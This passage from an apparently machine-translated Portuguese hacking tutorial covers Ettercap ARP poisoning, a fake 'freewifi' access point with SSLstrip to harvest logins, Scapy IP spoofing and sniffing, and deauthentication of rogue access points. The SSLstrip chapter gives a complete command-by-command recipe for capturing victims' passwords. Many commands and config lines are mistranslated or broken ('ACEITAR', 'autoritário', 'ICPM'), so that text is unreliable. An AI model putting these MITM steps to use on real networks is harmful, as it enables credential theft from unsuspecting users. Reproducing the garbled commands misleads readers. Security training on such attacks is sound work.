link fornecido, selecionar Abrir link e ele será aberto no navegador padrão;
mas é justo mencionar que algumas das funções do menu nem sempre
funcionam no navegador padrão.
Portanto, sugiro que você use o navegador Firefox copiando e colando o link
fornecido. Em seguida, o Xplico abriria uma interface gráfica do usuário
baseada na web que exigiria que você estivesse conectado usando os
seguintes detalhes:
➢ Nome de usuário: xplico
➢ Senha: xplico
Uma vez conectado como xplico, para analisar os dados que você capturou
anteriormente na interface de rede ethernet0, você precisa criar um novo caso
clicando em uma opção do menu: Caso> novo caso> Aquisição ao vivo.
Se você deseja analisar um arquivo existente que você salvou anteriormente,
você pode escolher clicar na barra de rádio chamada: “Carregando arquivo
(s) de captura PCAP”
Depois de criar um caso, você pode nomeá-lo com qualquer projeto que
esteja fazendo, então você pode criar várias sessões dentro de cada projeto e
começar a visualizá-las.
O Xplico irá fornecer visibilidade clara de qualquer site, imagens ou vídeos
que a vítima tenha visitado, seja em formato de captura ao vivo ou
reproduzindo-os em qualquer outra data a qualquer momento.
Da mesma forma, podemos capturar o tráfego VOIP (Voice over IP), que
também podemos falsificar, excluir ou ouvir a qualquer momento no futuro.
O Xplico é mais do que uma ferramenta de captura de dados, mas devido ao
seu poder também é conhecido como uma ferramenta de hacking muito boa.
Capítulo 23 Ataque MITM com Ettercap

Neste capítulo, vamos discutir como usar Ettercap para capturar credenciais,
especificamente nomes de usuário e senhas de um destino usando HTTP e
FTP.
Isso é possível se o destino estiver usando dois protocolos não criptografados,
como HTTP e FTP. Na configuração temos um sistema Linux e um sistema
Windows 10, e vamos usar o Ettercap para nos colocarmos no meio entre o
gateway padrão que é a máquina host do Windows.
Para obter o endereço do gateway padrão, você deve digitar um
terminal; “Rota ip”
No meu caso, o gateway padrão é 192.168.100.1, mas qualquer que seja o
endereço que você tenha, esta é a principal informação que você precisa saber
para que o Ettercap funcione.
Tecnicamente, você pode se colocar entre todos em uma sub-rede e o
gateway padrão ou destino individual, se desejar. Neste cenário, nos
colocaremos entre todos e o gateway padrão.
Primeiro, no Kali Linux, vá para “Aplicativos”, role para baixo e selecione
“Sniffing and Spoofing” e selecione “Ettercap-g”. Esta é a GUI do Ettercap.
Assim que a GUI estiver aberta, selecione “sniff” e então selecione “unified
sniffing” e isso abrirá a próxima janela.
Na nova janela que agora está aberta, chamada “ettercap Input”, ele
perguntará qual interface de rede você deseja farejar. Existe apenas um NIC,
ou placa de interface de rede em nossas máquinas Kali, que é o que unifica a
detecção.
Portanto, qualquer que seja a interface mostrada, você deve ir com ela, então
selecione “ok” Em seguida, antes de nos colocarmos no meio com o Ettercap,
temos que configurar o destino. Para fazer isso, selecione “hosts” e “scan for
hosts”.
Isso fará a varredura da sub-rede em que seu destino está localizado. Você só
pode se colocar no meio de uma determinada sub-rede com “envenenamento
de arp”, que é o que vamos usar.
Assim que a varredura for concluída, volte e selecione “hosts”, então “lista de
hosts” e na nova janela, você deverá ver os endereços IP que a varredura
anterior encontrou. Aqui, você também deve encontrar o endereço IP do seu
gateway padrão, que no meu caso é 192.168.100.1.
Agora você tem que criar destinos, então se você clicar no endereço IP
192.168.100.1 ou em qualquer endereço IP que seja seu gateway padrão,
selecione “Adicionar ao Destino 1”.
Em seguida, se você tiver mais endereços IP listados, você deseja direcioná-
los também, então, mais uma vez, você pode destacá-los clicando neles e, em
seguida, clicar em “Adicionar ao destino 2”.
Depois de selecionar seus alvos, vá para a janela superior, selecione “Mitm”,
isso se refere a “homem no meio”, então você pode selecionar
“envenenamento de arp”. Depois de selecioná-los, uma nova janela
aparecerá, você deve marcar “Sniff remote connections” e clicar em “ok”
Se você estiver no meio, ou devo dizer se a máquina Kali Linux está entre a
máquina Windows 10 e o gateway padrão, o endereço MAC do endereço IP
192.168.100.1 deve ser o endereço MAC da máquina Kali Linux. Para
verificar isso, você deve ir para a linha de comando da máquina Windows 10
e digitar:
“Arp- a”
Arp significa Protocolo de Resolução de Endereço e o que ele faz é converter
endereços Mac em endereços IP e, uma vez que você use esse comando no
Windows, deverá ver a lista de endereços IP e ao lado de cada endereço
MAC associado.
A propósito, certifique-se de não ficar confuso, pois o Windows faz
referência aos endereços IP como “endereços da Internet” e aos endereços
MAC como “endereços físicos”
Como você vê “Endereços físicos” tecnicamente incorretos porque usando
Ettercap você acabou de alterar o endereço Mac do seu gateway padrão, mas
para ter 100% de certeza, você também pode verificar o endereço mac do
Kali Linux.
Para fazer isso, volte ao terminal Kali Linux e digite:
“Ifconfig”
E dentro da saída que este comando mostra, pesquise o termo “ether” que faz
referência ao MAC ou “endereço físico” do seu endereço Ethernet do Kali
Linux.
Depois de verificar se o endereço Kali ether é o mesmo do gateway padrão
do Windows, você sabe que está no meio do Ettercap. Agora o
O bom do Ettercap é que, quando você está no meio, tudo o que você precisa
fazer é executá-lo.
Na janela do Ettercap, na parte inferior, se ele vir alguma credencial passada
em texto não criptografado, ele irá capturá-la para essa janela. Na janela do
Ettercap você verá o nome de usuário ao lado de “USUÁRIO” e a senha ao
lado de “PASSAR”.
Ele apenas aparecerá no lado esquerdo automaticamente, então não precisa
fazer muito. Por exemplo, você não precisa ficar sentado olhando para todo o
tráfego como no Wireshark, já que tanto o nome de usuário quanto a senha
aparecem.
Ettercap captura qualquer nome de usuário e senha se forem usados
protocolos não criptografados, portanto, em vez de HTTP, HTTPS deve ser o
usuário, onde, em vez de FTP, você deve usar SFTP ou SCP para transferir
arquivos.
O usuário final nunca percebe enquanto você está no meio porque não há
nenhum banner de aviso que aparece para o usuário, então ele não perceberá
se você fizer um ataque man-in-the-middle layer2 com Ettercap.
Por último, pedirei novamente que você certifique-se de ter uma autorização
por escrito para usar esse método em um ambiente ao vivo ou de produção,
pois qualquer tipo de ataque Man in the Middle é muito perigoso.
Capítulo 24 Ataque MITM com SSLstrip

Neste capítulo, vou ensiná-lo a criar um ponto de acesso falso em uma


máquina virtual Kali Linux. Para concluir este ataque, você precisará de um
adaptador de rede USB que suporte tanto o modo monitor quanto o modo
mestre.
Se você não tiver um adaptador de rede USB que ofereça suporte a esses
modos de rede, o adaptador de rede que eu recomendo fortemente é o Alpha
de que falei anteriormente. Custa apenas cerca de US $ 50 e você pode
comprar um na Amazon, bem como em alguns outros lugares.
Antes de começar, quero explicar como esse ataque funciona. Para ilustrar,
vou apresentar uma visão geral de alto nível de como esse ataque funciona.
Os principais componentes incluem a vítima, o invasor, o ponto de acesso
falso e um roteador com conexão à Internet.
O que está acontecendo é que o invasor está conectado à Internet e vai
compartilhar essa conexão com a Internet por meio de um adaptador de rede
USB que atua como um ponto de acesso falso.
Quando alguém se conecta a esse ponto de acesso falso, eles podem acessar a
Internet. Deixe-me orientar você neste processo. A primeira coisa que vai
acontecer é que a vítima vai se conectar ao ponto de acesso falso e, em
seguida, o tráfego da Internet da vítima será roteado pelo ponto de acesso
falso para o invasor.
Uma vez que o invasor obtém o tráfego de Internet da vítima, o invasor
manipula e registra o tráfego de Internet da vítima com SSL strip e isso
permitirá que o invasor force a vítima a usar HTTP, o que, como resultado,
também permitirá que o invasor capturar todos os nomes de usuário e senhas
que a vítima inserir.
Assim que a tira SSL terminar de manipular e registrar o tráfego da Internet
das vítimas, o invasor encaminhará o tráfego da Internet das vítimas para o
roteador. Finalmente, o roteador roteará o tráfego da Internet da vítima para
qualquer site com o qual a vítima está tentando se comunicar.
O que fazemos aqui, é que nos colocamos entre a vítima e o site da Web para,
como consequência, podermos ver quaisquer interações que estão ocorrendo
entre a vítima e o site da Web, e isso também é conhecido como um homem-
em ataque do meio.
Isso conclui a explicação, então vamos em frente e começar o ataque. A
primeira coisa que precisamos fazer é nos conectar à Internet, e faremos isso
compartilhando nossa conexão de Internet do sistema operacional host com
nossa máquina virtual Kali Linux.
Esta é essencialmente uma conexão de rede com ponte ou com fio e optei por
fazer dessa forma para poder eliminar a necessidade de um segundo
adaptador de rede USB, mas lembre-se de que se você tiver um segundo
adaptador de rede USB, pode usar para se conectar à Internet diretamente de
sua máquina virtual Kali Linux.
Em vez disso, vou nos indicar o método que estou prestes a compartilhar com
você. Vamos prosseguir e fazer logon em nosso sistema operacional host.
Não importa em que tipo de computador você está executando sua máquina
virtual Kali Linux, desde que você possa usá-lo para se conectar à Internet.
Primeiro, vá em frente e abra as configurações de rede ou qualquer aplicativo
de gerenciamento de rede que seu sistema operacional use. Posso acessar o
meu na barra de menu superior e, em seguida, vamos encontrar uma rede sem
fio para conectar.
Lembre-se de que você pode se conectar a qualquer rede que desejar, desde
que tenha uma conexão com a Internet e, se você for móvel, pode conectar
seu Android ou iPhones que usam um modem USB 4G, um ponto de acesso
móvel ou qualquer outro meio de uma conexão à Internet que você possui.
Uma vez conectado à Internet em seu sistema operacional host, você precisa
compartilhá-lo com nossa máquina virtual Kali Linux.
Agora, vá em frente e vá para nossa máquina virtual Kali Linux e, na barra de
menu superior, você precisa abrir o menu da máquina virtual e expandir o
menu do adaptador de rede.
Se você tiver vários adaptadores de rede, use o da parte superior. Ele deve ser
chamado de adaptador de rede e não deve ter nenhum número após ele.
Aqui, precisamos ter certeza de que configuramos nosso adaptador de rede
para usar autodetecção em ponte e isso nos permitirá obter um endereço IP e
uma conexão de internet do roteador ao qual nosso sistema operacional host
está conectado.
Depois de fazer essa configuração, você pode prosseguir e permitir que o
menu da máquina virtual seja recolhido e agora podemos usar essa rede
virtual para estabelecer uma conexão com a Internet.
A seguir, vamos abrir nosso gerenciador de rede, por falar nisso, você pode
usar qualquer gerenciador de rede que você tiver, e aqui, você precisa
encontrar a opção que diz “Rede com fio” e clique em “conectar”.
Se você estiver usando o gerenciador de rede padrão, deverá se conectar
automaticamente, mas se não estiver, pode ser necessário reinicializar sua
máquina virtual e obter uma conexão.
Se você ainda estiver tendo problemas, recomendo instalar o gerenciador de
rede “Wicd”. Continuando, agora que temos uma conexão com a Internet,
precisamos encontrar nosso endereço IP de gateway e anotá-lo.
Vamos fechar o gerenciador de rede e abrir um terminal onde você precisa
digitar:
“Espaço da rota –n”
e então pressione ENTER e vá em frente e encontre o endereço IP do seu
gateway. Na minha configuração, é 192.168.0.1 e precisamos anotar isso
porque vamos usá-lo em um comando futuro.
Você pode abrir um bloco de notas ou, se desejar, usar um pedaço de papel, o
que for mais conveniente para você, e anotar o endereço IP do seu gateway.
Agora que anotamos nosso endereço IP de gateway, precisamos instalar o
servidor DHCP.
De volta ao terminal Kali, vamos digitar; “Apt-
get install dhcp3-server”
e então pressione ENTER. Seja paciente e aguarde o tempo suficiente para
concluir a instalação do servidor DHCP e, quando a instalação for concluída,
precisamos configurar nosso servidor DHCP.
De volta ao terminal, vamos
digitar; “Nano
/etc/dhcpd.conf”
e pressione enter, e você deve ter um arquivo de configuração DHCP D em
branco. Se não estiver em branco por algum motivo, vá em frente e exclua
todo o conteúdo e, quando estiver pronto, vamos começar a adicionar nossas
configurações.
Primeiro, precisamos digitar:
“Autoritário;
e então pressione ENTER e desça uma linha, e então digite;
“Default-lease-time 600;
e então pressione ENTER para descer uma linha e
digite; “Tempo máximo de locação 7200;”
e, a seguir, pressione ENTER para descer uma linha e digite;
“Subnet 192.168.1.0 netmask 255.255.255.0 {
Acima após o espaço, é chamado de “chave virada para frente” e pressione
ENTER, mova uma linha para baixo e digite;
opção de roteadores 192.168.1.1;
e então pressione ENTER para descer uma linha e
digitar; “Option subnet-mask 255.255.255.0;”
Em seguida, pressione ENTER, desça uma linha e
digite; “Opção de nome de domínio“ freewifi ”;
Em seguida, pressione ENTER, desça uma linha e
digite; “Opção de servidores de nomes de domínio
192.168.1.1;
e então pressione ENTER e desça uma linha e digite;
“Intervalo 192.168.1.2 192.168.1.30;
}
e pressione ENTER para mover para baixo uma linha e então insira uma
chave virada para trás. É tudo o que precisamos para entrar. Mais uma vez,
sua configuração deve ser assim:
autoritário;
default-lease-time 600;
tempo máximo de locação 7200;
sub-rede 192.168.1.0 máscara de rede 255.255.255.0 {
opção de roteadores 192.168.1.1;
opção máscara de sub-rede
255.255.255.0; opção de nome de
domínio “freewifi”;
opção de servidores de nomes de domínio 192.168.1.1;
intervalo 192.168.1.2 192.168.1.30;
}
Em seguida, você precisa salvar as alterações que fizemos, então pressione as
teclas “ctrl + x” e depois salve o arquivo. Você precisa pressionar a tecla “Y”
e então escrever o arquivo e fechá-lo.
Você precisa pressionar ENTER, e agora precisamos encontrar o nome do
nosso adaptador de rede USB, então vá em frente e conecte seu adaptador de
rede USB se ainda não tiver feito isso, e no terminal precisamos digitar:
“Airmon-ng”
e pressione Enter, e você verá o nome do seu adaptador de rede listado
abaixo. O meu é chamado de “wlan0” o seu provavelmente será algo
semelhante. Agora que sabemos o nome de nosso adaptador de rede,
precisamos iniciar o modo de monitor, então vamos digitar;
“Airmon-ng start wlan0”
e pressione Enter e espere um momento para criar uma interface de monitor
para você. Uma mensagem aparecerá lá para dizer que uma interface de
monitor foi criada e é chamada de “mon0”.
Agora precisamos criar nosso ponto de acesso falso,
então vamos digitar; “Airbase-ng –c 11 -e freewifi
mon0”
Para “mon0”, você deve inserir o nome da interface do seu monitor. No meu
caso é "mon0", pressione Enter e agora que nosso ponto de acesso falso está
funcionando, precisamos fazer alguns ajustes em nossa interface de túnel, que
é uma interface que "base aérea" criou automaticamente para nós quando
iniciamos nosso ponto de acesso falso .
Portanto, vamos abrir um novo terminal, mas não feche o terminal em que
estamos operando uma base aérea, porque precisamos dele para continuar
operando. No novo terminal, vamos digitar;
“Ifconfig at0 192.168.1.1 netmask 255.255.255.0”
e pressione Enter. Agora precisamos ajustar o MTU, que significa unidades
de transmissão máxima. O que o MTU faz é permitir que nossa interface de
túnel transmita pacotes maiores para que possamos evitar a fragmentação do
pacote.
Em termos mais simples, isso permite que nosso ponto de acesso falso
gerencie
volumes de tráfego da Internet, que é gerado por qualquer pessoa que se
conecte ao nosso ponto de acesso falso. No terminal, vamos digitar;
“Ifconfig at0 mtu 1400”
e pressione Enter. Agora precisamos adicionar uma tabela de
roteamento, então vamos digitar; “Route add -net 192.168.1.0 netmask
255.255.255.0 GW 192.168.1.1”
e pressione Enter. Agora precisamos habilitar o encaminhamento de IP e criar
algumas regras de tabelas de IP para que possamos usar nossa interface de
túnel para rotear o tráfego entre nosso ponto de acesso falso e nossa fonte de
Internet. Portanto, precisamos digitar;
“Echo 1> / proc / sys / net / ipv4 / ip_forward”
e pressione Enter. Agora precisamos inserir nossas regras de tabelas de IP,
então vamos digitar; “Iptables -t nat --A PREROUTING -p udp -j DNAT --to
192.168.0.1”
Aqui, precisamos inserir o endereço IP do gateway que anotamos
anteriormente, e o meu é 192.168.0.1, em seguida, pressione ENTER. Agora
precisamos digitar;
“Iptables -P FORWARD ACCEPT”
As palavras, encaminhar e aceitar devem ser digitadas em maiúsculas e, a
seguir, pressione ENTER. Agora precisamos digitar;
“Iptables --append FORWARD - na interface at0 -j ACEITAR” e
pressione Enter. Agora precisamos digitar;
“Iptables –table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE”

e pressione Enter. Finalmente, precisamos digitar;


“Iptables -t nat –A PREROUTING -p tcp –destination-port 80 -j REDIRECT --port 10000”
e pressione Enter. Agora que criamos nossas regras de iptables, precisamos
iniciar nosso servidor DHCP. Então, vamos digitar;
“Dhcpd –cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0”
e pressione Enter. Em seguida, digite;
“/Etc/init.d/isc-dhcp-server start”
e, em seguida, pressione Enter, e você verá que o servidor DHCP foi iniciado
com êxito. Basicamente, deveria dizer:
“[….] Iniciando o servidor ISC DHCP: dhcpd”

Agora é hora de iniciar a faixa SSL, então


vamos digitar; “Sslstrip -f -p -k 10000”
e pressione Enter. Por último, mas não menos importante, precisamos iniciar
o aplicativo de edição, então vamos abrir um novo terminal, mas não feche o
terminal em que estamos executando uma faixa SSL. No novo terminal,
vamos digitar;
“Ettercap -p -U -T -q -i at0”
e pressione Enter. Agora que temos SSL strip e ettercap em execução,
concluímos a configuração do ataque. Agora podemos simular uma vítima
para que possamos usar nosso ponto de acesso falso para capturar alguns
nomes de usuário e senhas.
Portanto, agora, se você saltar para o computador da vítima, a primeira coisa
que poderá fazer é conectar-se ao ponto de acesso falso. Abra o gerenciador
de rede e verifique as redes sem fio próximas, e você verá lá nosso ponto de
acesso falso chamado “wi-fi gratuito”
Vá em frente e conecte-se a ele e, supondo que configuramos tudo
corretamente, você deve ter uma conexão com a internet. Verifique e veja se
você tem um endereço IP atribuído do pool DHCP que criamos antes.
No exemplo que forneci, criamos um servidor DHCP que pode atribuir
endereços IP a dispositivos conectados e criamos um intervalo entre
192.168.1.2 a 192.168.1.30 com o comando
“Intervalo 192.168.1.2 192.168.1.30”
Na configuração DHCP. Portanto, o endereço IP de suas vítimas deve estar
dentro desse intervalo. Como vítima, você pode entrar na sua página do
Facebook e descobrir se a faixa SSL está funcionando ou não.
Você pode usar o Firefox ou o Google Chrome e verá que se tentar digitar no
navegador https: //www.facebook .com, o endereço será alterado para
www.facebook.com
Isso significa que a faixa SSL está funcionando e, se você olhar para a guia
superior esquerda do navegador, verá um ícone de cadeado.
Este é um ícone que a tira SSL coloca lá para adicionar um pouco de
legitimidade e isso evita que a vítima fique muito desconfiada, porque ela vê
esse bloqueio e automaticamente assume que ele deve ser seguro.
Então, em seguida, insira um e-mail e uma senha no Facebook. Você usa
use um nome de usuário e senha fictícios, como “testuser” e use a senha
“password123”.
Não importa qual nome de usuário ou senha você usa, já que o objetivo não é
para você fazer logon no Facebook, mas o fato de que podemos capturar as
credenciais de nome de usuário e senha.
Antes de clicar em login, volte para a máquina do invasor e vamos monitorar
no terminal ettercap. Agora você pode ir em frente e clicar em login no
Facebook, e se você olhar para o terminal ettercap, você verá dados
chegando.

Você deve observar o nome de usuário ao lado do campo “USUÁRIO” e a


senha ao lado do campo “PASSAR”.
Se você tentar o exemplo com um site de banco online, é altamente provável
que o nome de usuário e a senha não apareçam no terminal ettercap, mas
aparecerão nos registros SSL.
Você pode tentar fazer login em contas e não verá o nome de usuário e a
senha no terminal, mas a faixa SSL irá pegá-los e colocá-los em um registro.
Então, vá em frente e volte para o computador do invasor, e aqui você precisa
abrir um novo terminal e digitar;
“Cat sslstrip.log”
e pressione Enter. Agora, você deve ver o nome de usuário e a senha.
Os detalhes do usuário aparecerão nos logs como “userId = nome de usuário”
e a senha aparecerá como “auth_passwd = senha”
Esses são todos os exemplos que gostaria de compartilhar com você, mas
lembre-se de que este ataque pode ser expandido.
Por exemplo, existe uma ferramenta chamada “karma” e o que ela faz é
quando um computador está procurando uma rede sem fio para se conectar
especificamente a uma rede sem fio que estava conectada no passado, ele
envia solicitações de sondagem.
Bem, podemos criar algo que nos permitirá aceitar essas solicitações de
sondagem e, em seguida, falsificar a rede sem fio que a pessoa está
procurando.
Quando ele responder, eles vão pensar que descobriram que a rede sem fio e
o computador vão se conectar automaticamente. Tem muitas coisas
você pode fazer isso, mas agora é hora de passar para o próximo ataque.
Você pode fechar o terminal que usamos para visualizar o log de strip SSL.
Então, para parar o ettercap, você terá que pressionar as teclas ctrl e C e então
você pode fechar aquele terminal.
Então, para parar a faixa SSL, você pode pressionar ctrl + C para fechar o
terminal. Para parar o seu ponto de acesso falso, também pressione ctrl + C
na janela do kali e feche o terminal.
Todas as regras de iptables que criamos serão restauradas automaticamente
ao padrão quando você reiniciar sua máquina virtual.
Certifique-se de ter uma autorização por escrito antes de usar SSLstrip,
incluindo quaisquer variações relacionadas a esta ferramenta. Se você estiver
praticando apenas em seu laboratório doméstico, em um ambiente sem
produção, isso não deve causar problemas para ninguém; ainda assim, sugiro
que você desligue seu roteador e pratique com cuidado sem nenhuma
conexão com a internet.
Capítulo 25 Manipulação de pacotes com Scapy

Scapy é uma ferramenta avançada de manipulação de pacotes que não é


recomendada para iniciantes. Ainda assim, é justo mencionar que essa
ferramenta existe e certamente pode agir como o rei de todas as ferramentas
de hacking que existem.
Scapy pode ajudá-lo a criar praticamente qualquer pacote que você deseja,
sem nenhum problema. Imagine que você está prestes a administrar e validar
uma configuração em um Firewall e uma das políticas determina que você
implemente a seguinte regra:
“Qualquer pacote iniciado da direção de entrada para a direção de saída
não é permitido, então deve ser negado se o endereço IP de destino for o
mesmo que o endereço IP de origem.”
Obviamente, essa solicitação de regra de firewall faz todo o sentido, mas
também parece um pouco irreal. Basta pensar em como é possível que um PC
envie uma solicitação de seu próprio endereço IP para a direção de saída,
onde o endereço IP de destino seria exatamente o mesmo endereço IP
idêntico ao do PC do remetente.
Isso é impossível certo?
Bem, tecnicamente é possível, porque este pode ser um pacote malicioso.
Alguém pode estar prestes a executar alguma varredura de porta dentro da
organização para obter dados sobre dispositivos de rede e suas
vulnerabilidades para lançar um ataque estratégico, que poderia danificar,
desativar, clonar ou mesmo desligar todo o sistema, e parece que foi
originado de dentro da rede privada.
Então, como isso é possível? Bem, a ferramenta é chamada de Scapy. Scapy
é muito provavelmente a ferramenta de manipulação de pacotes mais
poderosa e flexível que está embutida no Kali Linux, escrita por Phyton.
Usando Scapy, abrindo a interface de linha de comando, podemos iniciá-la e
criar um pacote, e a melhor parte é que podemos especificar praticamente
qualquer coisa:
➢ Qualquer endereço IP de origem,
➢ Qualquer endereço IP de destino,
➢ Tipo de serviço,
➢ Podemos criar endereços IPv4 ou endereços IPv6,
➢ Altere qualquer campo de cabeçalho,
➢ Altere o número da porta de destino,
➢ Altere o número da porta de origem e muito mais.

Além disso, para criar um pacote exclusivo, Scapy também é capaz de:
➢ Capture qualquer tráfego,
➢ Reproduza ou reproduza qualquer tráfego,
➢ Procure portas,
➢ Descubra dispositivos de rede e muito mais.

Scapy funciona em Kali Linux e para iniciá-lo na interface de linha de


comando digitando:
“Scapy”
Em seguida, pressione Enter. Como existem tantas possibilidades com o
scapy, vamos começar começando algo direto e isso seria um comando de
envio básico:
“Send (IP (src = '' 10.10.10.20 '', dst = '' 10.10.10.2 '') / ICPM () / '' OurPayload
'' #)”
O que este comando de criação de pacote significa aqui é que eu quero enviar
um ping do endereço IP de origem 10.10.10.20, para o endereço IP de destino
10.10.10.2.
Além disso, quero que este pacote se pareça com uma solicitação de eco
ICMP, mas quero que ele inclua um Payload chamado OurPayload. Scapy é
um quebrador de regras.
Portanto, não temos que fazer nada exatamente como deveria de acordo com
os protocolos de rede adequados; em vez disso, podemos criar pacotes que
logicamente nunca seriam encontrados na rede.
Ao enviar pacotes criados para vários destinos, poderíamos apenas esperar
pelas respostas e dar uma olhada nelas para ver se criamos algum
comportamento estranho e se poderíamos descobrir uma vulnerabilidade
neste processo.
Para sair do Scapy, você deve pressionar “Ctrl + d” e isso o levará de volta a
um prompt de comando normal. Mas, se você deseja iniciar outro comando,
deve iniciar o Scapy novamente digitando um comando;
“Scapy”
Em seguida, pressione Enter. Outro comando que é muito perigoso, é quando
viramos
Scapy para se tornar um sniffer. Se você
digitar; “Sniff (iface = '' eth0 '', prn = lambda x:
x.show ())”
Em seguida, pressione Enter, isso significa que quero que você fareje todo o
tráfego que passa pela interface ethernet0 e quero que você exiba cada pacote
conforme ele entra e passa por você.
Depois de pressionar enter, a saída provavelmente preencherá este livro; mas
gostaria de compartilhar com vocês que Scapy não só é capaz de criar
pacotes, mas também pode se tornar um intruso ou farejador se quisermos.
Por último, pedirei novamente que você certifique-se de ter uma autorização
por escrito para usar o Scapy em um ambiente ao vivo ou de produção.
Se você estiver praticando apenas em seu laboratório doméstico, em um
ambiente sem produção, isso não deve causar problemas para ninguém; ainda
assim, sugiro que você desligue seu roteador e pratique com cuidado sem
nenhuma conexão com a internet.
Capítulo 26 Ataque de desautenticação contra AP invasor

Existem muitas técnicas diferentes para conter um ponto de acesso não


autorizado em uma rede sem fio e neste cenário; vamos usar o WLC para
fazer isso. Mas antes de pensar em conter um ponto de acesso não autorizado,
primeiro temos que identificá-lo. Mais uma vez, existem várias maneiras de
identificar um ponto de acesso invasor e já discutimos algumas delas, então
imagine o seguinte cenário.
Imagine que você esteja usando um analisador de canal para identificar
possíveis interferências, em um ambiente onde há vários SSIDs transmitidos,
mas um deles está usando uma autenticação aberta, enquanto o resto dos
SSIDs estão todos usando WPA2-Enterprise for Security.
Bem, é muito provável que, se esta for uma infraestrutura corporativa, o que
estaríamos olhando seja algum ponto de acesso que seja um dispositivo não
autorizado que está tentando atrair alguns clientes.
Se alguém em seu ambiente, seja um aeroporto ou em sua rede corporativa,
estiver emulando ou falsificando seu SSID tentando atrair pessoas, é muito
provável que seja malicioso.
Em segundo lugar, se temos um cliente que se associa a este ponto de acesso
não autorizado e começa a usá-lo, o invasor que tem esse ponto de acesso não
autorizado pode agora executar um ataque man-in-the-middle e espionar todo
o tráfego.
Então aqui está o que vamos fazer. Usaremos um controlador de LAN sem
fio também referido como “WLC” porque o WLC sabe exatamente quais
pontos de acesso ele gerencia.
A boa notícia é que esses pontos de acesso não estão, por padrão, apenas
sentados atendendo seus clientes em seus respectivos canais, mas também
estão fazendo varredura periódica nos outros canais, reunindo informações
que fornecem para o controlador de LAN sem fio.
Parte das informações que ele coleta são informações sobre os pontos de
acesso que eles veem. Quando o controlador de LAN sem fio vê um ponto de
acesso que não gerencia, ele não faz parte da família de controladores sem
fio, ele vai classificar esse ponto de acesso como “invasor”.
Portanto, nossa primeira etapa dentro do WLC é dar uma olhada e ver se o
controlador sabe sobre algum ponto de acesso não autorizado, e depois que
encontrarmos esse acesso
ponto, daremos o próximo passo lógico, que é contê-lo do controlador.
Na página principal dos WLCs, a página "monitor" no canto superior direito
vai nos mostrar os detalhes sobre pontos de acesso invasores ativos em
"Resumo do invasor"
Se você usar um WLC, poderá ver vários dispositivos listados lá e perguntar;
bem, como é que existem tantos pontos de acesso desonestos? Pode haver
várias razões para isso. Por exemplo, seu WLC pode ver 10 ou até mais
pontos de acesso não autorizados, e eles podem ser completamente legeit,
apenas que seu WLC não os está gerenciando, portanto, os classifica como
invasores.
Todos aqueles outros SSIDs transmitidos que estão sendo vistos por um ou
mais desses pontos de acesso que o WLC gerencia e estão sendo relatados de
volta ao controlador e é por isso que o controlador os coloca na categoria de
invasores.
Ele simplesmente não sabe quem são esses dispositivos. Para dar uma olhada
nos detalhes desses pontos de acesso desonestos, simplesmente clicamos no
link "detalhe" e o que veremos é a lista de pontos de acesso, incluindo seus
endereços mac, SSIDs, canal que estão usando, quantos rádios que estão
usando, quantos clientes estão conectados a eles.
Para saber mais sobre o dispositivo, podemos clicar em seu endereço mac e
ele nos levará à janela “Rouge AP Detail”. Aqui, se olharmos os detalhes
desse ponto de acesso, podemos ver o endereço MAC do dispositivo, a
primeira vez que foi visto pelo WLC, a última vez foi relatado ao WLC, e
abaixo, perto da parte inferior, estão os pontos de acesso que são relatados em
primeiro lugar.
Lá, podemos ver que o AP ou Aps estão relatando que viram o ponto de
acesso não autorizado em qual canal e também estão incluindo informações
como um indicador de intensidade do sinal de recepção e a relação sinal-
ruído.
Agora você pode estar perguntando; bem, isso é ótimo e sabemos que temos
um ponto de acesso não autorizado, mas como podemos conter esse
dispositivo, como desligá-lo?
Bem, vamos pegar nossos pontos de acesso que, além de oferecer suporte a
clientes normais, também vão gastar um pouco de tempo extra aqueles que
podem atualmente ver aquele ponto de acesso desonesto e vão realizar
efetivamente um ataque de negação de serviço contra esse ponto de acesso.
Ele fará isso usando mensagens de “desautenticação”. Agora, se um cliente
está tentando se associar a esse ponto de acesso não autorizado, porque essas
mensagens de "desautenticação" estão sendo enviadas pelos pontos de acesso,
esses pontos de acesso também serão falsificados, o que é uma boa maneira
de dizer mentira sobre o endereço MAC envolvido , para que nosso cliente ou
qualquer outro cliente que esteja tentando trabalhar com o ponto de acesso
não autorizado seja atacado com mensagens de “desautenticação”.
O objetivo aqui é certificar-se de que o ponto de acesso que não é gerenciado
por nós para garantir que nenhum cliente válido seja associado a ele.
Também quero apontar algo muito importante sobre como desligar ou fazer
um ponto de acesso de “ataque de desautenticação”.
Atacar seu próprio ponto de acesso não é um grande problema, no entanto,
preciso salientar que atacar a rede local sem fio de outra pessoa é muito
importante e você definitivamente não gostaria de fazer isso contra qualquer
outra rede legítima, porque causaria um ataque de negação de serviço contra
essa rede.
Então, para fazer isso olhando os detalhes do AP não autorizado, tudo o que
precisamos fazer é ir em “status de atualização” e mudar para “conter” em
vez de “alerta”. Em seguida, a questão é quantos pontos de acesso devemos
usar para prosseguir e lidar com essa contenção.
A contenção pode ser definida pelo título; “Número máximo de Aps para
conter o invasor” Aqui, se você tiver apenas um ponto de acesso que
atualmente é capaz de ver o dispositivo invasor, poderá selecionar apenas um
para enviar as mensagens de “desautenticação”.
Uma vez selecionado, clique em “aplicar” para fazer essa alteração e dá um
pequeno aviso dizendo;
“Pode haver questões legais após essa contenção. Você tem certeza que quer
continuar?"
Como mencionei anteriormente, isso pode ser ilegal, mas se você possui o
ponto de acesso, pode clicar em “OK”. Agora, um “ataque de
desautenticação” acontecerá contra esse ponto de acesso não autorizado e
permanecerá no local até que o desligemos.
Se você ainda estiver na mesma página em “Rogue AP Detail” ao lado de
“State”, o status dirá “contido” que é o que queríamos alcançar. Se quisermos
desligar isso e retirar o ataque, vamos simplesmente mudar o status
volte ao “alerta”, clique em “aplicar” e os ataques de “desautenticação” serão
interrompidos.
Enquanto isso, se você tiver um analisador de protocolo, poderá ver o número
do quadro do ponto de acesso não autorizado e, se seguir o fluxo, em "Tipo /
Subtipo", verá "Desautenticação", que é o "ataque de desautenticação" que
implementamos com o AP usando nosso WLC contra o ponto de acesso não
autorizado.
Embora pareça que o endereço MAC de origem está envolvido, eles estão
sendo iniciados por nossos próprios pontos de acesso para fazer um ataque.
Se você continuar seguindo esse fluxo, desça ainda mais, ele continuará
indefinidamente até que tenhamos interrompido o ataque ao WLC.
O objetivo é garantir que nenhum cliente válido se associe acidentalmente ao
ponto de acesso não autorizado ou, se o fizer, não ficará lá por muito tempo
